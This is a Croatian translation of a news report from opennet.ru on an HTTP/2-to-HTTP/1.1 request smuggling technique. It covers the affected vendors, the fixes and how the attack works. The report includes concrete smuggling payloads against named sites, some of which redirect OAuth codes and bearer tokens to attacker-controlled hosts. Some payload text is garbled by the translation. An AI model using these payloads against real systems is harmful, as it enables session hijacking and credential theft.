Novi napad na front-end-backend sustave koji vam omogućuje da se uglavite u zahtjeve

Web sustavi u kojima sučelje prihvaća veze putem HTTP/2 i prenosi na backend putem HTTP/1.1 izloženi su novoj varijanti HTTP Request Smuggling napada, koji omogućuje, slanjem posebno dizajniranih zahtjeva klijenta, upadanje u sadržaj zahtjeva drugih korisnika koji se obrađuju u istom toku između sučelja i pozadine. Napad se može koristiti za umetanje zlonamjernog JavaScript koda u sesiju s legitimnim mjestom, zaobilaženje sustava kontrole pristupa i presretanje parametara provjere autentičnosti.

Problem utječe na web proxyje, balansere opterećenja, web akceleratore, sustave isporuke sadržaja i druge konfiguracije u kojima se zahtjevi preusmjeravaju prema shemi front-end-backend. Autor studije pokazao je sposobnost napada na sustave na Netflixu, Verizonu, Bitbucketu, Netlify CDN-u i Atlassianu, te je dobio 56 dolara u programu za nagrađivanje ranjivosti. Problem je također potvrđen u proizvodima F5 Networks. Problem djelomično utječe na mod_proxy na Apache http poslužitelju (CVE-2021-33193), popravak se očekuje u verziji 2.4.49 (programeri su obaviješteni o problemu početkom svibnja i dobili su 3 mjeseca da ga poprave). U nginxu je mogućnost istovremenog određivanja zaglavlja "Content-Length" i "Transfer-Encoding" bila blokirana u zadnjem izdanju (1.21.1). Alati za napad već su dodani u Burp toolkit i dostupni su kao Turbo Intruder ekstenzija.

Princip rada nove metode ubacivanja zahtjeva u promet sličan je ranjivosti koju je identificirao isti istraživač prije dvije godine, ali je ograničen na sučelja koja prihvaćaju zahtjeve putem HTTP/1.1. Podsjetimo se da u shemi frontend-backend klijentske zahtjeve prima dodatni čvor - frontend, koji uspostavlja dugotrajnu TCP vezu s backendom koji izravno obrađuje zahtjeve. Kroz ovu zajedničku vezu obično se prenose zahtjevi različitih korisnika, koji slijede jedan za drugim u lancu, odvojeni pomoću HTTP protokola.

Klasični napad "HTTP Request Smuggling" temeljio se na činjenici da sučelja i pozadina tumače upotrebu HTTP zaglavlja "Content-Length" (određuje ukupnu veličinu podataka u zahtjevu) i "Transfer-Encoding: chunked" ( omogućuje prijenos podataka u dijelovima) drugačije . Na primjer, ako sučelje podržava samo "Content-Length", ali zanemaruje "Transfer-Encoding: chunked", tada bi napadač mogao poslati zahtjev koji sadrži zaglavlja "Content-Length" i "Transfer-Encoding: chunked", ali veličina "Content-Length" ne odgovara veličini isjeckanog lanca. U ovom slučaju, frontend će obraditi i preusmjeriti zahtjev prema "Content-Length", a backend će čekati da se blok dovrši na temelju "Transfer-Encoding: chunked", a preostali rep napadačevog zahtjeva bit će na početku inozemnog zahtjeva koji se prenosi sljedeći.

Za razliku od tekstualnog protokola HTTP/1.1, koji se analizira na razini retka, HTTP/2 je binarni protokol i manipulira blokovima podataka unaprijed određene veličine. Međutim, HTTP/2 koristi pseudozaglavlja koja odgovaraju uobičajenim HTTP zaglavljima. Prilikom interakcije s pozadinom putem HTTP/1.1, sučelje prevodi ta pseudo-zaglavlja u slična HTTP/1.1 HTTP zaglavlja. Problem je u tome što pozadina donosi odluke o raščlanjivanju streama na temelju HTTP zaglavlja koje postavlja sučelje, bez poznavanja parametara originalnog zahtjeva.

Uključujući u obliku pseudo-zaglavlja, vrijednosti "content-length" i "transfer-encoding" mogu se prenijeti, unatoč činjenici da se ne koriste u HTTP / 2, budući da je veličina svih podataka određena u zasebno polje. Međutim, u procesu pretvaranja HTTP/2 zahtjeva u HTTP/1.1, ta se zaglavlja prenose i mogu zbuniti pozadinu. Postoje dvije glavne opcije napada: H2.TE i H2.CL, u kojima je backend zaveden netočnim kodiranjem prijenosa ili vrijednošću duljine sadržaja koja ne odgovara stvarnoj veličini tijela zahtjeva koje prima sučelje putem HTTP/2 protokol.

Novi napad na front-end-backend sustave koji vam omogućuje da se uglavite u zahtjeve

Kao primjer H2.CL napada, pseudozaglavlje duljine sadržaja pogrešno je oblikovano prilikom slanja HTTP/2 zahtjeva Netflixu. Ovaj zahtjev rezultira dodavanjem sličnog HTTP zaglavlja Content-Length kada se pristupa pozadini putem HTTP/1.1, ali budući da je veličina u Content-Length manja od stvarne veličine, neki od podataka u repu obrađuju se kao početak sljedećeg zahtjeva.

Na primjer, HTTP/2 zahtjev :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Poslat će zahtjev pozadini: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Budući da je Content-Length postavljena na 4, backend će prihvatiti samo "abcd" kao tijelo zahtjeva, a ostatak "GET /n HTTP/1.1…" obraditi kao početak sljedećeg zahtjeva vezanog za drugog korisnika. Sukladno tome, tok će biti izvan sinkronizacije, a kao odgovor na sljedeći zahtjev bit će vraćen rezultat obrade lažnog zahtjeva. U slučaju Netflixa, navođenje hosta treće strane u zaglavlju "Host:" u lažnom zahtjevu rezultiralo je odgovorom "Lokacija: https://02.rs?x.netflix.com/n" klijentu i dopušteno je prosljeđivanje proizvoljnog sadržaja klijentu, uključujući izvršavanje vašeg JavaScript koda u kontekstu web-mjesta Netflix.

Druga varijanta napada (H2.TE) povezana je sa zamjenom zaglavlja "Transfer-Encoding: chunked". Upotreba pseudozaglavlja za kodiranje prijenosa u HTTP/2 je zabranjena specifikacijom i zahtjevi s njim propisani su da se tretiraju kao netočni. Unatoč tome, neke implementacije sučelja zanemaruju ovaj zahtjev i dopuštaju upotrebu pseudozaglavlja za kodiranje prijenosa u HTTP/2, što se prevodi u slično HTTP zaglavlje. Ako je prisutno zaglavlje “Transfer-Encoding”, pozadina ga može uzeti kao prioritet i analizirati podatke u dijelovima u “chunked” načinu rada koristeći blokove različitih veličina u formatu “{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" unatoč početnoj podjeli prema ukupnoj veličini.

Prisutnost takvog jaza pokazala je primjer Verizona. Međutim, problem se odnosio na portal za autentifikaciju i sustav za upravljanje sadržajem, koji koriste i stranice poput Huffington Posta i Engadgeta. Na primjer, zahtjev klijenta preko HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Izazvao HTTP/1.1 zahtjev za backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Pozadina je pak zanemarila zaglavlje "Content-Length" i izvršila in-stream razdvajanje na temelju "Transfer-Encoding: chunked". U praksi, napad je omogućio preusmjeravanje korisničkih zahtjeva na vašu stranicu, uključujući presretanje zahtjeva koji se odnose na OAuth autentifikaciju, čiji su se parametri pojavili u Referer zaglavlju, kao i simulaciju autentifikacijske sesije i iniciranje slanja korisničkih vjerodajnica na domaćin napadača. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorizacija: nositelj eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Za napad na HTTP/2 implementacije koje ne dopuštaju navođenje pseudo-zaglavlja za kodiranje prijenosa, predložena je druga metoda koja uključuje zamjenu zaglavlja "Transfer-Encoding" njegovim pripajanjem drugim pseudo-zaglavljima odvojenim znakom novog retka (kada se pretvori na HTTP/1.1 u ovom slučaju stvaraju se dva odvojena HTTP zaglavlja).

Na primjer, Atlassian Jira i Netlify CDN (koji se koriste za posluživanje Mozilla početne stranice u Firefoxu) bili su pogođeni ovim problemom. Konkretno, HTTP/2 zahtjev :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Dužina sadržaja: 5\r\n \r\nx=

uzrokovao je slanje HTTP/1.1 POST / HTTP/1.1 zahtjeva pozadini\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Duljina: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \ r\nx=

Druga opcija za zamjenu zaglavlja "Transfer-Encoding" bila je da se ono priloži nazivu drugog pseudo-zaglavlja ili nizu s metodom zahtjeva. Na primjer, prilikom pristupanja Atlassian Jira, naziv pseudozaglavlja "foo: bar\r\ntransfer-encoding" s vrijednošću "chunked" rezultirao je dodavanjem HTTP zaglavlja "foo: bar" i "transfer-encoding : chunked", a navođenje u pseudo-zaglavlju ":method" vrijednosti "GET / HTTP/1.1\r\nTransfer-encoding: chunked" prevedeno je u "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

Istraživač koji je identificirao problem također je predložio tehniku ​​tuneliranja zahtjeva za napad na sučelja, u kojoj se za svaku IP adresu uspostavlja zasebna veza s pozadinom, a promet različitih korisnika se ne miješa. Predložena tehnika ne dopušta vam da intervenirate u zahtjeve drugih korisnika, ali omogućuje trovanje dijeljene predmemorije, što utječe na obradu drugih zahtjeva, i omogućuje vam da izvršite zamjenu internih HTTP zaglavlja koja se koriste za prijenos servisnih informacija od sučelje u pozadinu (na primjer, prilikom provjere autentičnosti na strani sučelja u takvim zaglavljima mogu poslati informacije o trenutnom korisniku u pozadinu). Kao primjer primjene metode u praksi, korištenjem cache poisoninga bilo je moguće dobiti kontrolu nad stranicama u Bitbucket servisu.

Izvor: opennet.ru

Dodajte komentar